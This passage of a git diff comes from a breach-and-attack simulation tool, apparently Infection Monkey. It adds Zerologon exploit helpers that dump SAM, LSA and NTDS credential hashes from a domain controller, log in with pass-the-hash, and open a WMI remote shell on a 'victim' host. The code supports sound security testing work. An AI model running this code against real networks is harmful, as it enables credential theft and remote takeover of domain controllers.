self.__can_process_SAM_LSA: + try: + if self.__is_remote is True: + SAM_file_name = self.__remote_ops.saveSAM() + else: + SAM_file_name = self.__sam_hive + + self.__SAM_hashes = SAMHashes( + SAM_file_name, bootkey, isRemote=self.__is_remote) + self.__SAM_hashes.dump() + except Exception as e: + LOG.error('SAM hashes extraction failed: %s' % str(e)) + + try: + if self.__is_remote is True: + SECURITY_file_name = self.__remote_ops.saveSECURITY() + else: + SECURITY_file_name = self.__security_hive + + self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, + isRemote=self.__is_remote) + self.__LSA_secrets.dumpCachedHashes() + self.__LSA_secrets.dumpSecrets() + except Exception as e: + LOG.debug(traceback.print_exc()) + LOG.error('LSA hashes extraction failed: %s' % str(e)) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. + if self.__is_remote is True: + if self.__use_VSS_method and self.__remote_ops is not None: + NTDS_file_name = self.__remote_ops.saveNTDS() + else: + NTDS_file_name = None + else: + NTDS_file_name = self.__ntds_file + + self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, + noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, + useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, + ) + try: + self.__NTDS_hashes.dump() + except Exception as e: + LOG.debug(traceback.print_exc()) + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + LOG.error(e) + if self.__use_VSS_method is False: + LOG.error( + 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') + self.cleanup() + except (Exception, KeyboardInterrupt) as e: + LOG.debug(traceback.print_exc()) + LOG.error(e) + if self.__NTDS_hashes is not None: + if isinstance(e, KeyboardInterrupt): + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + try: + self.cleanup() + except Exception: + pass + finally: + sys.stdout = _orig_stdout + _new_stdout.seek(0) + dumped_secrets = _new_stdout.read() # includes hashes and kerberos keys + return dumped_secrets + + def cleanup(self): + LOG.debug('Cleaning up...') + if self.__remote_ops: + self.__remote_ops.finish() + if self.__SAM_hashes: + self.__SAM_hashes.finish() + if self.__LSA_secrets: + self.__LSA_secrets.finish() + if self.__NTDS_hashes: + self.__NTDS_hashes.finish() diff --git a/monkey/infection_monkey/exploit/zerologon_utils/options.py b/monkey/infection_monkey/exploit/zerologon_utils/options.py new file mode 100644 index 000000000..61aab4440 --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/options.py @@ -0,0 +1,38 @@ +from dataclasses import dataclass + + +@dataclass() +class OptionsForSecretsdump: + bootkey = None + can_process_SAM_LSA = True + dc_ip = None + debug = False + exec_method = 'smbexec' + hashes = None + is_remote = True + just_dc = True + just_dc_ntlm = False + k = False + keytab = None + no_lmhash = True + no_pass = True + ntds = None + sam = None + security = None + system = None + target = None + target_ip = None + ts = False + use_vss = False + + def __init__(self, dc_ip=None, just_dc=True, sam=None, security=None, system=None, target=None, target_ip=None): + # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py + self.dc_ip = dc_ip + # just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py + self.just_dc = just_dc + self.sam = sam + self.security = security + self.system = system + # target and target_ip are assigned in get_admin_pwd_hashes() in ../zerologon.py + self.target = target + self.target_ip = target_ip diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py new file mode 100644 index 000000000..3f3281e9c --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -0,0 +1,127 @@ +import cmd +import logging +import ntpath +import os +import sys +import time + +LOG = logging.getLogger(__name__) + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py +# Used to start remote shell on victim +class RemoteShell(cmd.Cmd): + CODEC = sys.stdout.encoding + + def __init__(self, share, win32Process, smbConnection, outputFilename): + cmd.Cmd.__init__(self) + self.__share = share + self.__output = '\\' + outputFilename + self.__outputBuffer = str('') + self.__shell = 'cmd.exe /Q /c ' + self.__win32Process = win32Process + self.__transferClient = smbConnection + self.__pwd = str('C:\\') + self.__noOutput = False + + # We don't wanna deal with timeouts from now on. + if self.__transferClient is not None: + self.__transferClient.setTimeout(100000) + self.do_cd('\\') + else: + self.__noOutput = True + + def do_get(self, src_path): + try: + import ntpath + newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) + drive, tail = ntpath.splitdrive(newPath) + filename = ntpath.basename(tail) + local_file_path = os.path.join( + os.path.expanduser('~'), 'monkey-'+filename) + fh = open(local_file_path, 'wb') + LOG.info("Downloading %s\\%s" % (drive, tail)) + self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) + fh.close() + except Exception as e: + LOG.error(str(e)) + if os.path.exists(local_file_path): + os.remove(local_file_path) + + def do_exit(self, s): + return True + + def do_cd(self, s): + self.execute_remote('cd ' + s) + if len(self.__outputBuffer.strip('\r\n')) > 0: + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') + self.__outputBuffer = '' + + def default(self, line): + # Let's try to guess if the user is trying to change drive. + if len(line) == 2 and line[1] == ':': + # Execute the command and see if the drive is valid. + self.execute_remote(line) + if len(self.__outputBuffer.strip('\r\n')) > 0: + # Something went wrong. + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + # Drive valid, now we should get the current path. + self.__pwd = line + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') + self.__outputBuffer = '' + else: + if line != '': + self.send_data(line) + + def get_output(self): + def output_callback(data): + try: + self.__outputBuffer += data.decode(self.CODEC) + except UnicodeDecodeError: + LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py ' + 'again with -codec and the corresponding codec') + self.__outputBuffer += data.decode(self.CODEC, + errors='replace') + + if self.__noOutput is True: + self.__outputBuffer = '' + return + + while True: + try: + self.__transferClient.getFile( + self.__share, self.__output, output_callback) + break + except Exception as e: + if str(e).find('STATUS_SHARING_VIOLATION') >= 0: + # Output not finished, let's wait. + time.sleep(1) + elif str(e).find('Broken') >= 0: + # The SMB Connection might have timed out, let's try reconnecting. + LOG.debug('Connection broken, trying to recreate it') + self.__transferClient.reconnect() + return self.get_output() + self.__transferClient.deleteFile(self.__share, self.__output) + + def execute_remote(self, data): + command = self.__shell + data + if self.__noOutput is False: + command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' + self.__win32Process.Create(command, self.__pwd, None) + self.get_output() + + def send_data(self, data): + self.execute_remote(data) + print(self.__outputBuffer) + self.__outputBuffer = '' diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py new file mode 100644 index 000000000..70aa6cd22 --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -0,0 +1,68 @@ +import logging +import time + +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dtypes import NULL +from impacket.smbconnection import SMBConnection + +from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell + +LOG = logging.getLogger(__name__) + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py +# Used to get HKLM keys for restoring original DC password +class Wmiexec: + OUTPUT_FILENAME = '__' + str(time.time()) + + def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'): + self.__ip = ip + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash, self.__nthash = hashes.split(':') + self.__share = share + self.shell = None + + def connect(self): + self.smbConnection = SMBConnection(self.__ip, self.__ip) + self.smbConnection.login(user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash) + + self.dcom = DCOMConnection(target=self.__ip, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True) + + try: + iInterface = self.dcom.CoCreateInstanceEx( + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + self.iWbemServices = iWbemLevel1Login.NTLMLogin( + '//./root/cimv2', NULL, NULL) + iWbemLevel1Login.RemRelease() + + except (Exception, KeyboardInterrupt) as e: + LOG.error(str(e)) + self.smbConnection.logoff() + self.dcom.disconnect() + + def get_remote_shell(self): + self.connect() + win32Process, _ = self.iWbemServices.GetObject('Win32_Process') + self.shell = RemoteShell( + self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME) + return self.shell + + def close(self): + self.smbConnection.close() + self.smbConnection = None + self.dcom.disconnect() + self.dcom = None diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index f0d8ac5f0..b5ad0b5ca 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -208,7 +208,7 @@ class InfectionMonkey(object): if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() - if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET: + if exploiter.RUNS_AGENT_ON_SUCCESS: break # if adding machine to exploited, won't try other exploits on it if not host_exploited: self._fail_exploitation_machines.add(machine) @@ -352,14 +352,14 @@ class InfectionMonkey(object): try: result = exploiter.exploit_host() if result: - self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET) + self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except ExploitingVulnerableMachineError as exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) - self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET) + self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True except FailedExploitationError as e: LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e) @@ -370,13 +370,13 @@ class InfectionMonkey(object): exploiter.send_exploit_telemetry(result) return False - def successfully_exploited(self, machine, exploiter, should_add_machine_to_exploited_set=True): + def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True): """ Workflow of registering successfully exploited machine :param machine: machine that was exploited :param exploiter: exploiter that succeeded """ - if should_add_machine_to_exploited_set: + if RUNS_AGENT_ON_SUCCESS: self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 41ca1e561..aa20422c5 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -214,7 +214,7 @@ class ReportService: creds = [] PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} if len(monkey_creds) == 0: - return + return [] origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] for user in monkey_creds: for pass_type in PASS_TYPE_DICT: